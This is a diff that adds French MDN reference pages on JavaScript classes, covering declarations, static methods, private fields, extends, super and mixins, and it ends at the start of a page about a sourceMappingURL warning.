+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.classes.extends")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Classes">Les classes</a></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/super">super</a></code></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/classes/index.html b/files/fr/web/javascript/reference/classes/index.html
new file mode 100644
index 0000000000..298978bf17
--- /dev/null
+++ b/files/fr/web/javascript/reference/classes/index.html
@@ -0,0 +1,413 @@
+---
+title: Classes
+slug: Web/JavaScript/Reference/Classes
+tags:
+  - Classes
+  - ECMAScript 2015
+  - Intermédiaire
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Classes
+---
+<div>{{JsSidebar("Classes")}}</div>
+
+<p>Les classes JavaScript ont été introduites avec ECMAScript 2015. Elles sont un « sucre syntaxique » par rapport à l'héritage prototypal. En effet, cette syntaxe n'introduit pas un nouveau modèle d'héritage dans JavaScript ! Elle fournit uniquement une syntaxe plus simple pour créer des objets et manipuler l'héritage.</p>
+
+<h2 id="Définir_des_classes">Définir des classes</h2>
+
+<p>En réalité, les classes sont juste des <a href="/fr/docs/Web/JavaScript/Reference/Fonctions">fonctions</a> spéciales. Ainsi, les classes sont définies de la même façon que les fonctions : par déclaration, ou par expression.</p>
+
+<h3 id="Les_déclarations_de_classes">Les déclarations de classes</h3>
+
+<p>Pour utiliser une déclaration de classe simple, on utilisera le mot-clé <code>class</code>, suivi par le nom de la classe que l'on déclare (ici « Rectangle »).</p>
+
+<pre class="brush: js">class Rectangle {
+  constructor(hauteur, largeur) {
+    this.hauteur = hauteur;
+    this.largeur = largeur;
+  }
+}</pre>
+
+<h4 id="Remontée_des_déclarations_(hoisting)">Remontée des déclarations (<em>hoisting</em>)</h4>
+
+<p><a href="/fr/docs/Web/JavaScript/Reference/Instructions/function">Les déclarations de fonctions</a> sont remontées dans le code. En revanche, ce n'est pas le cas pour les déclarations de classes. Ainsi, il est nécessaire de déclarer la classe avant de l'instancier. Dans le cas contraire, on obtient une {{jsxref("ReferenceError")}} :</p>
+
+<pre class="brush: js example-bad">const p = new Rectangle(); // ReferenceError
+
+class Rectangle {}
+</pre>
+
+<h3 id="Les_expressions_de_classes">Les expressions de classes</h3>
+
+<p>Il est possible d'utiliser des expressions de classes, nommées ou anonymes. Si on utilise un nom dans l'expression, ce nom ne sera accessible que depuis le corps de la classe via la propriété {{jsxref("Function.name", "name")}} (cette valeur ne sera pas directement accessible pour les instances).</p>
+
+<pre class="brush: js">// anonyme
+let Rectangle = class {
+  constructor(hauteur, largeur) {
+    this.hauteur = hauteur;
+    this.largeur = largeur;
+  }
+};
+
+// nommée
+let Rectangle = class Rectangle {
+  constructor(hauteur, largeur) {
+    this.hauteur = hauteur;
+    this.largeur = largeur;
+  }
+};
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Les mêmes règles s'appliquent aux expressions de classes en ce qui concerne la remontée (<em>hoisting</em>) des classes (cf. le paragraphe précédent sur les remontées des déclarations de classe).</p>
+</div>
+
+<h2 id="Corps_d'une_classe_et_définition_des_méthodes">Corps d'une classe et définition des méthodes</h2>
+
+<p>Le corps d'une classe est la partie contenue entre les accolades. C'est dans cette partie que l'on définit les propriétés d'une classe comme ses méthodes et son constructeur.</p>
+
+<h3 id="Mode_strict">Mode strict</h3>
+
+<p>Le corps des classes, pour les expressions et pour les déclarations de classes, est exécuté en <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a> (autrement dit, le constructeur, les méthodes statiques, le prototype, les accesseurs (<em>getters</em>) et mutateurs (<em>setters</em>) sont exécutés en mode strict).</p>
+
+<h3 id="Constructeur">Constructeur</h3>
+
+<p>La méthode <code><a href="/fr/docs/Web/JavaScript/Reference/Classes/constructor">constructor</a></code> est une méthode spéciale qui permet de créer et d'initialiser les objet créés avec une classe. Il ne peut y avoir qu'une seule méthode avec le nom "constructor" pour une classe donnée. Si la classe contient plusieurs occurences d'une méthode <code>constructor</code>, cela provoquera une exception {{jsxref("SyntaxError")}}.</p>
+
+<p>Le constructeur ainsi déclaré peut utiliser le mot-clé <code>super</code> afin d'appeler le constructeur de la classe parente.</p>
+
+<h3 id="Méthodes_de_prototype">Méthodes de prototype</h3>
+
+<p>Voir aussi les définitions de méthode.</p>
+
+<pre class="brush: js">class Rectangle {
+  constructor(hauteur, largeur) {
+    this.hauteur = hauteur;
+    this.largeur = largeur;
+  }
+
+  get area() {
+    return this.calcArea();
+  }
+
+  calcArea() {
+    return this.largeur * this.hauteur;
+  }
+}
+
+const carré = new Rectangle(10, 10);
+
+console.log(carré.area);</pre>
+
+<h3 id="Méthodes_statiques">Méthodes statiques</h3>
+
+<p>Le mot-clé <code><a href="/fr/docs/Web/JavaScript/Reference/Classes/static">static</a></code> permet de définir une méthode statique pour une classe. Les méthodes statiques sont appelées par rapport à la classe entière et non par rapport à une <a href="/fr/docs/Web/JavaScript/Introduction_à_JavaScript_orienté_objet#L'instance">instance</a> donnée (ces méthodes ne peuvent pas être appelées « depuis » une instance). Ces méthodes sont généralement utilisées sous formes d'utilitaires au sein d'applications.</p>
+
+<pre class="brush: js">class Point {
+  constructor(x, y) {
+    this.x = x;
+    this.y = y;
+  }
+
+  static distance(a, b) {
+    const dx = a.x - b.x;
+    const dy = a.y - b.y;
+    return Math.hypot(dx, dy);
+  }
+}
+
+const p1 = new Point(5, 5);
+const p2 = new Point(10, 10);
+
+console.log(Point.distance(p1, p2));</pre>
+
+<h3 id="Gestion_de_this_pour_le_prototype_et_les_méthodes_statiques">Gestion de <code>this</code> pour le prototype et les méthodes statiques</h3>
+
+<p>Lorsqu'une méthode statique ou une méthode liée au prototype est appelée sans valeur <code>this</code>, celle-ci vaudra <code>undefined</code> au sein de la fonction. Il n'y aura pas d'autodétermination de <code>this</code> (<em>autoboxing</em> en anglais). On aura le même résultat si on invoque ces fonctions dans du code non-strict car les fonctions liées aux classes sont exécutées en mode strict.</p>
+
+<pre class="brush: js">class Animal {
+  crie() {
+    return this;
+  }
+  static mange() {
+    return this;
+  }
+}
+
+let obj = new Animal();
+obj.crie(); // Animal {}
+let crie = obj.crie;
+crie(); // undefined
+
+Animal.mange(); // class Animal
+let mange = Animal.mange;
+mange(); // undefined</pre>
+
+<p>Si on écrit le code avec des fonctions traditionnelles plutôt qu'avec des classes et qu'on utilise le mode non-strict, l'autodétermination de <code>this</code> sera faite en fonction du contexte dans lequel la fonction a été appelée. Si la valeur initiale est <code>undefined</code>, <code>this</code> correspondra à l'objet global.</p>
+
+<p>L'autodétermination de <code>this</code> n'a pas lieu en mode strict, la valeur <code>this</code> est passée telle quelle.</p>
+
+<pre class="brush: js">function Animal() { }
+
+Animal.prototype.crie = function() {
+  return this;
+}
+
+Animal.mange = function() {
+  return this;
+}
+
+let obj = new Animal();
+let crie = obj.crie;
+crie(); // l'objet global
+
+let mange = Animal.mange;
+mange(); // l'objet global
+</pre>
+
+<h3 id="Propriétés_des_instances">Propriétés des instances</h3>
+
+<p>Les propriétés des instances doivent être définies dans les méthodes de la classe :</p>
+
+<pre class="brush: js">class Rectangle {
+  constructor(hauteur, largeur) {
+    this.hauteur = hauteur;
+    this.largeur = largeur;
+  }
+}</pre>
+
+<p>Les propriétés statiques ou les données relatives au prototype doivent être définies en dehors de la déclaration comportant le corps de la classe :</p>
+
+<pre class="brush: js">Rectangle.largeurStatique = 20;
+Rectangle.prototype.largeurProto = 25;</pre>
+
+<h3 id="Déclarations_de_champs">Déclarations de champs</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Les déclarations de champs publics et privés sont une <a href="https://github.com/tc39/proposal-class-fields">fonctionnalité expérimentale actuellement proposée pour être intégrée dans le standard ECMAScript</a>. Elle n'est pas implémentée par la majorité des navigateurs mais on peut émuler cette fonctionnalité en utilisant un système de compilation tel que <a href="https://babeljs.io/">Babel</a>.</p>
+</div>
+
+<h4 id="Déclarations_de_champs_publics">Déclarations de champs publics</h4>
+
+<p>En utilisant la syntaxe pour la déclaration des champs, on peut réécrire l'exemple précédent de la façon suivante :</p>
+
+<pre class="brush: js">class Rectangle {
+  hauteur = 0;
+  largeur;
+  constructor(hauteur, largeur) {
+    this.hauteur = hauteur;
+    this.largeur = largeur;
+  }
+}</pre>
+
+<p>En déclarant les champs en préalable, il est plus facile de comprendre la classe dans son ensemble. De plus, on s'assure que les champs soient toujours présents.</p>
+
+<p>Comme on peut le voir dans cet exemple, les champs peuvent éventuellement être déclarés avec une valeur par défaut.</p>
+
+<h4 id="Déclarations_de_champs_privés">Déclarations de champs privés</h4>
+
+<p>En utilisant des champs privés, on peut revoir la définition de la façon suivante :</p>
+
+<pre class="brush: js">class Rectangle {
+  #hauteur = 0;
+  #largeur;
+  constructor(hauteur, largeur){
+    this.#hauteur = hauteur;
+    this.#largeur = largeur;
+  }
+}</pre>
+
+<p>Si on utilise les champs privés hors de la classe, cela génèrera une erreur. Ces champs ne peuvent être lus ou modifiés que depuis le corps de la classe. En évitant d'exposer des éléments à l'extérieur, on s'assure que les portions de code qui consomment cette classe n'utilise pas ses détails internes et on peut alors maintenir la classe dans son ensemble et modifier les détails internes si besoin.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les champs privés doivent nécessairement être déclarés en premier dans les déclarations de champ.</p>
+</div>
+
+<p>Il n'est pas possible de créer des champs privés <em>a posteriori</em> au moment où on leur affecterait une valeur. Autrement dit, il est possible de déclarer une variable normale au moment voulu lorsqu'on lui affecte une valeur tandis que pour les champs privés, ces derniers doivent être déclarés (éventuellement initialisés) en amont, au début du corps de la classe.</p>
+
+<h2 id="Créer_une_sous-classe_avec_extends">Créer une sous-classe avec <code>extends</code></h2>
+
+<p>Le mot-clé <code><a href="/fr/docs/Web/JavaScript/Reference/Classes/extends">extends</a></code>, utilisé dans les déclarations ou les expressions de classes, permet de créer une classe qui hérite d'une autre classe (on parle aussi de « sous-classe » ou de « classe-fille »).</p>
+
+<pre class="brush: js">class Animal {
+  constructor(nom) {
+    this.nom = nom;
+  }
+
+  parle() {
+    console.log(`${this.nom} fait du bruit.`);
+  }
+}
+
+class Chien extends Animal {
+  constructor(nom) {
+    super(nom); // appelle le constructeur parent avec le paramètre
+  }
+  parle() {
+    console.log(`${this.nom} aboie.`);
+  }
+}</pre>
+
+<p>Si on déclare un constructeur dans une classe fille, on doit utiliser <code>super()</code> avant <code>this</code>.</p>
+
+<p>On peut également étendre des classes plus <em>traditionnelles</em> basées sur des constructeurs fonctionnels :</p>
+
+<pre class="brush: js">function Animal (nom) {
+  this.nom = nom;
+}
+Animal.prototype.crie = function () {
+  console.log(`${this.nom} fait du bruit.`);
+}
+
+class Chien extends Animal {
+  crie() {
+    super.crie();
+    console.log(`${this.nom} aboie.`);
+  }
+}
+
+let c = new Chien('Ida');
+c.crie();
+// Ida fait du bruit.
+// Ida aboie.</pre>
+
+<p>En revanche, les classes ne permettent pas d'étendre des objets classiques non-constructibles. Si on souhaite créer un lien d'héritage en un objet et une classe, on utilisera {{jsxref("Object.setPrototypeOf()")}} :</p>
+
+<pre class="brush: js">const Animal = {
+  crie() {
+    console.log(`${this.nom} fait du bruit.`);
+  }
+};
+
+class Chien {
+  constructor(nom) {
+    this.nom = nom;
+  }
+  crie() {
+    super.crie();
+    console.log(`${this.nom} aboie.`);
+  }
+}
+Object.setPrototypeOf(Chien.prototype, Animal);
+
+let d = new Chien('Ida');
+d.crie();
+// Ida fait du bruit
+// Ida aboie.</pre>
+
+<h2 id="Le_symbole_species">Le symbole <code>species</code></h2>
+
+<p>Lorsqu'on souhaite renvoyer des objets {{jsxref("Array")}} avec une sous-classe <code>MonArray</code>, on peut utiliser symbole <code>species</code> pour surcharger le constructeur par défaut.</p>
+
+<p>Par exemple, si, lorsqu'on utilise des méthodes comme {{jsxref("Array.map","map()")}} qui renvoient le constructeur par défaut et qu'on veut qu'elles renvoient <code>Array</code> plutôt que <code>MonArray</code>, on utilisera {{jsxref("Symbol.species")}} :</p>
+
+<pre class="brush: js">class MonArray extends Array {
+  // On surcharge species
+  // avec le constructeur Array du parent
+  static get [Symbol.species]() { return Array; }
+}
+let a = new MonArray(1,2,3);
+let mapped = a.map(x =&gt; x * x);
+
+console.log(mapped instanceof MonArray); // false
+console.log(mapped instanceof Array);    // true</pre>
+
+<h2 id="Utiliser_super_pour_la_classe_parente">Utiliser super pour la classe parente</h2>
+
+<p>Le mot-clé <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/super">super</a></code> est utilisé pour appeler les fonctions rattachées à un objet parent.</p>
+
+<pre class="brush: js">class Chat {
+  constructor(nom) {
+    this.nom = nom;
+  }
+
+  parler() {
+    console.log(`${this.nom} fait du bruit.`);
+  }
+}
+
+class Lion extends Chat {
+  parler() {
+    super.parler();
+    console.log(`${this.nom} rugit.`);
+  }
+}
+</pre>
+
+<h2 id="Les_mix-ins">Les <em>mix-ins</em></h2>
+
+<p>Les sous-classes abstraites ou <em>mix-ins</em> sont des modèles (<em>templates</em>) pour des classes. Une classe ECMAScript ne peut avoir qu'une seule classe parente et il n'est donc pas possible, par exemple, d'hériter de plusieurs classes dont une classe abstraite. La fonctionnalité dont on souhaite disposer doit être fournie par la classe parente.</p>
+
+<p>Une fonction peut prendre une classe parente en entrée et renvoyer une classe fille qui étend cette classe parente. Cela peut permettre d'émuler les <em>mix-ins</em> avec ECMAScript.</p>
+
+<pre class="brush: js">let calculetteMixin = Base =&gt; class extends Base {
+  calc() { }
+};
+
+let aleatoireMixin = Base =&gt; class extends Base {
+  randomiseur() { }
+};
+</pre>
+
+<p>Une classe utilisant ces <em>mix-ins</em> peut alors être écrite de cette façon :</p>
+
+<pre class="brush: js">class Toto { }
+class Truc extends calculetteMixin(aleatoireMixin(Toto)) { }
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.classes")}}</p>
+
+<h2 id="Utilisation_via_l'ardoise_dans_Firefox">Utilisation via l'ardoise dans Firefox</h2>
+
+<p>Une classe ne peut pas être redéfinie. Si vous testez votre code via l'ardoise JavaScript de Firefox (Outils &gt; Développement web &gt; Ardoise JavaScript) et que vous exécutez à plusieurs reprises votre code avec la définition d'une classe, vous obtiendrez une exception SyntaxError : <em>redeclaration of let &lt;class-name&gt;</em>.</p>
+
+<p>Pour relancer une définition, il faut utiliser le menu Exécuter &gt; Recharger et exécuter. À ce sujet, voir le bug {{bug("1428672")}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions">Les fonctions</a></li>
+ <li>{{jsxref("Instructions/class", "Les déclarations de classes","",1)}}</li>
+ <li>{{jsxref("Opérateurs/class", "Les expressions de classes","",1)}}</li>
+ <li>{{jsxref("Opérateurs/super", "super")}}</li>
+ <li><a href="https://tech.mozfr.org/post/2015/07/29/ES6-en-details-%3A-les-classes">Billet sur les classes (traduction en français)</a></li>
+ <li><a href="https://github.com/tc39/proposal-class-fields">Champs publics et privés pour les classes (proposition de niveau 3)</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/classes/private_class_fields/index.html b/files/fr/web/javascript/reference/classes/private_class_fields/index.html
new file mode 100644
index 0000000000..7d5aff7d9c
--- /dev/null
+++ b/files/fr/web/javascript/reference/classes/private_class_fields/index.html
@@ -0,0 +1,207 @@
+---
+title: Variables de classe privés
+slug: Web/JavaScript/Reference/Classes/Private_class_fields
+tags:
+  - Classe
+  - Fonctionnalité du langage
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Classes/Private_class_fields
+---
+<div>{{JsSidebar("Classes")}}</div>
+
+<div>Les propriétés de classe sont publiques par défaut et peuvent être lues et modifiées à l'extérieur de la classe. Cependant, <a href="https://github.com/tc39/proposal-class-fields">une proposition expérimentale</a>, permettant de définir des variables privées dans une classe avec le préfixe <code>#</code>, est disponible.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">class ClassWithPrivateField {
+  #privateField
+}
+
+class ClassWithPrivateMethod {
+  #privateMethod() {
+    return 'hello world'
+ }
+}
+
+class ClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Champs_privés_statiques">Champs privés statiques</h3>
+
+<p>Les champs privés sont accessibles depuis le constructeur et depuis l'intérieur de la déclaration de la classe elle-même.</p>
+
+<p>La limitation des variables statiques ne pouvant être appelées que par des méthodes statiques tient toujours.</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+
+  static publicStaticMethod() {
+    ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD = 42
+    return ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD
+  }
+}
+
+console.assert(ClassWithPrivateStaticField.publicStaticMethod() === 42)</pre>
+
+<p>Les champs statiques privés sont ajoutés au constructeur de la classe au moment de l'évaluation de classe..</p>
+
+<p>Il y a une restriction de provenance sur les champs statiques privés. Seule la classe qui a défini un champ statique privé peut y accéder.</p>
+
+<p>Ceci peut conduire à un comportement inattendu lors de l'utilisation de <strong><code>this</code></strong>.</p>
+
+<pre class="brush: js notranslate">class BaseClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+
+  static basePublicStaticMethod() {
+    this.#PRIVATE_STATIC_FIELD = 42
+    return this.#PRIVATE_STATIC_FIELD
+  }
+}
+
+class SubClass extends BaseClassWithPrivateStaticField { }
+
+let error = null
+
+try {
+  SubClass.basePublicStaticMethod()
+} catch(e) { error = e}
+
+console.assert(error instanceof TypeError)
+</pre>
+
+<h3 id="Champs_dinstance_privés">Champs d'instance privés</h3>
+
+<p>Les champs d'instance privés sont déclarés avec des <strong>noms</strong> à <strong># </strong>(prononcés "<em>noms à hash</em>", <span class="st">"<em>hash names</em>" en anglais</span>), qui sont des identifieurs préfixés par <code>#</code>. Le <code>#</code> fait partie du nom lui-même. Il est utilisé tant pour la déclaration que pour l'accès.</p>
+
+<p>L'encapsulation est forcée par le langage. C'est une erreur de syntaxe que de faire référence aux noms à <code>#</code> en dehors de leur portée.</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateField {
+  #privateField
+
+  constructor() {
+    this.#privateField = 42
+    this.#randomField = 666 // Erreur de syntaxe
+  }
+}
+
+const instance = new ClassWithPrivateField()
+instance.#privateField === 42 // Erreur de syntaxe
+</pre>
+
+<h3 id="Méthodes_Privées">Méthodes Privées</h3>
+
+<h4 id="Méthodes_statiques_privées">Méthodes statiques privées</h4>
+
+<p>Comme leur équivalents publics, les méthodes statiques privées sont appelées dans la classe elle-même, pas dans les instances de la classe. Comme les champs statiques privés, elles ne sont accessibles que depuis l'intérieur de la déclaration de la classe.</p>
+
+<p>Les méthodes statiques privées peuvent être des fonctions génératrices, asynchrones et génératrices asynchrones.</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateStaticMethod {
+    static #privateStaticMethod() {
+        return 42
+    }
+
+    static publicStaticMethod1() {
+        return ClassWithPrivateStaticMethod.#privateStaticMethod();
+    }
+
+    static publicStaticMethod2() {
+        return this.#privateStaticMethod();
+    }
+}
+
+console.assert(ClassWithPrivateStaticMethod.publicStaticMethod1() === 42);
+console.assert(ClassWithPrivateStaticMethod.publicStaticMethod2() === 42);
+</pre>
+
+<p>Cela peut conduire à un comportement inattendu lors de l'utilisation de <strong><code>this</code></strong>. Dans l'exemple suivant, <code>this</code> fait référence à la classe <code>Derived</code> (pas à la classe <code>Base</code>) lorsqu'on essaie d'appeler <code>Derived.publicStaticMethod2()</code>, et fait ainsi apparaître la même "restriction de provenance" que mentionné ci-dessus :</p>
+
+<pre class="brush: js notranslate">class Base {
+    static #privateStaticMethod() {
+        return 42;
+    }
+    static publicStaticMethod1() {
+        return Base.#privateStaticMethod();
+    }
+    static publicStaticMethod2() {
+        return this.#privateStaticMethod();
+    }
+}
+
+class Derived extends Base {}
+
+console.log(Derived.publicStaticMethod1()); // 42
+console.log(Derived.publicStaticMethod2()); // TypeError
+</pre>
+
+<h4 id="Méthodes_dinstance_privées">Méthodes d'instance privées</h4>
+
+<p>Les méthodes d'instance privées sont des méthodes disponibles dans les instances de classe privées, dont l'accès est restreint de la même manière que les champs d'instance privés.</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateMethod {
+  #privateMethod() {
+    return 'hello world'
+  }
+
+  getPrivateMessage() {
+      return this.#privateMethod()
+  }
+}
+
+const instance = new ClassWithPrivateMethod()
+console.log(instance.getPrivateMessage())
+// expected output: "hello worl​d"</pre>
+
+<p>Les méthodes d'instance privées peuvent être des fonctions génératrices, asynchones ou génératrices asynchrones. Des accesseurs (getters) et des mutateurs (setters) privés sont aussi posibles :</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateAccessor {
+  #message
+
+  get #decoratedMessage() {
+    return `✨${this.#message}✨`
+  }
+  set #decoratedMessage(msg) {
+    this.#message = msg
+  }
+
+  constructor() {
+    this.#decoratedMessage = 'hello world'
+    console.log(this.#decoratedMessage)
+  }
+}
+
+new ClassWithPrivateAccessor();
+// expected output: "✨hello worl​d✨"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Public and private instance fields', '#prod-FieldDefinition', 'FieldDefinition')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("javascript.classes.private_class_fields")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Classes/Class_fields">Champs de classe publiques</a></li>
+ <li><a href="https://rfrn.org/~shu/2018/05/02/the-semantics-of-all-js-class-elements.html">The Semantics of All JS Class Elements</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/classes/static/index.html b/files/fr/web/javascript/reference/classes/static/index.html
new file mode 100644
index 0000000000..889eb2be96
--- /dev/null
+++ b/files/fr/web/javascript/reference/classes/static/index.html
@@ -0,0 +1,131 @@
+---
+title: static
+slug: Web/JavaScript/Reference/Classes/static
+tags:
+  - Classes
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Classes/static
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p>Le mot-clé <code><strong>static</strong></code> permet de définir une méthode statique d'une classe. Les méthodes statiques ne sont pas disponibles sur les instances d'une classe mais sont appelées sur la classe elle-même. Les méthodes statiques sont généralement des fonctions utilitaires (qui peuvent permettre de créer ou de cloner des objets par exemple).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/classes-static.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">static <em>nomMéthode()</em> { ... }</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Les méthodes statiques sont utilisées lorsque la méthode ne s'applique qu'à la classe elle-même et pas à ses instances. Les méthodes statiques sont généralement utilisées pour créer des fonctions utilitaires.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_classique">Exemple classique</h3>
+
+<p>Dans l'exemple qui suit, on illustre :</p>
+
+<ul>
+ <li>comment une classe implémente une méthode statique</li>
+ <li>comment une classe avec une propriété statique peut être déclinée avec une sous-classe</li>
+ <li>comment une méthode statique peut ou ne peut pas être appelé</li>
+</ul>
+
+<pre class="brush: js">class Triple {
+  static triple(n) {
+    if (n === undefined) {
+      n = 1;
+    }
+    return n * 3;
+  }
+}
+
+class SuperTriple extends Triple {
+  static triple(n) {
+    return super.triple(n) * super.triple(n);
+  }
+}
+
+console.log(Triple.triple());       // 3
+console.log(Triple.triple(6));      // 18
+console.log(SuperTriple.triple(4)); // 144
+var tp = new Triple();
+console.log(SuperTriple.triple(4)); // 144 (pas d'impact de l'affectation du parent)
+console.log(tp.triple()); // tp.triple n'est pas une fonction
+</pre>
+
+<h3 id="Utilisation_depuis_une_autre_méthode_statique">Utilisation depuis une autre méthode statique</h3>
+
+<p>Afin d'appeler une autre méthode statique dans une méthode statique, on pourra utiliser {{jsxref("Opérateurs/L_opérateur_this","this")}}.</p>
+
+<pre class="brush: js">class StaticMethodCall {
+  static staticMethod() {
+    return 'Méthode statique appelée';
+  }
+  static anotherStaticMethod() {
+    return this.staticMethod() + ' depuis une autre statique';
+  }
+}
+StaticMethodCall.staticMethod();
+// 'Méthode statique appelée'
+StaticMethodCall.anotherStaticMethod();
+// 'Méthode statique appelée depuis une autre statique'</pre>
+
+<h3 id="Depuis_les_constructeurs_de_classes_et_les_autres_méthodes">Depuis les constructeurs de classes et les autres méthodes</h3>
+
+<p>Les méthodes statiques ne sont pas directement accessibles via le mot-clé <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this">this</a></code>. Il faut les appeler avec le nom de la classe qui préfixe le nom de la méthode statique <code>NomDeClasse.MéthodeStatique()</code> (comme pour les autres appels en dehors de la classe) ou avec la propriété <code>constructor</code>  : <code>this.constructor.MéthodeStatique()</code>.</p>
+
+<pre class="brush: js">class StaticMethodCall{
+  constructor(){
+    console.log(StaticMethodCall.staticMethod());
+    // 'appel de la méthode statique'
+
+    console.log(this.constructor.staticMethod());
+    // 'appel de la méthode statique'
+  }
+
+  static  staticMethod(){
+    return 'appel de la méthode statique.';
+  }
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.classes.static")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/class">Expression <code>class</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions/class">Déclaration <code>class</code></a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Classes">Les classes</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/erreurs/already_has_pragma/index.html b/files/fr/web/javascript/reference/erreurs/already_has_pragma/index.html
new file mode 100644
index 0000000000..6521ccba03
--- /dev/null
+++ b/files/fr/web/javascript/reference/erreurs/already_has_pragma/index.html
@@ -0,0 +1,41 @@
+---
+title: 'Warning: -file- is being assigned a //# sourceMappingURL, but already has one'
+slug: Web/JavaScript/Reference/Erreurs/Already_has_pragma
+tags:
+  - Avertissement
+  - Erreurs
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Errors/Already_has_pragma
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">Warning: -fichier- is being assigned a //# sourceMappingURL, but already has one.</pre>
+
+<h2 id="Type_d'erreur">Type d'erreur</h2>
+
+<p>Un avertissement. L'exécution du script JavaScript n'est pas interrompue.</p>
+
+<h2 id="Quel_est_le_problème">Quel est le problème ?</h2>
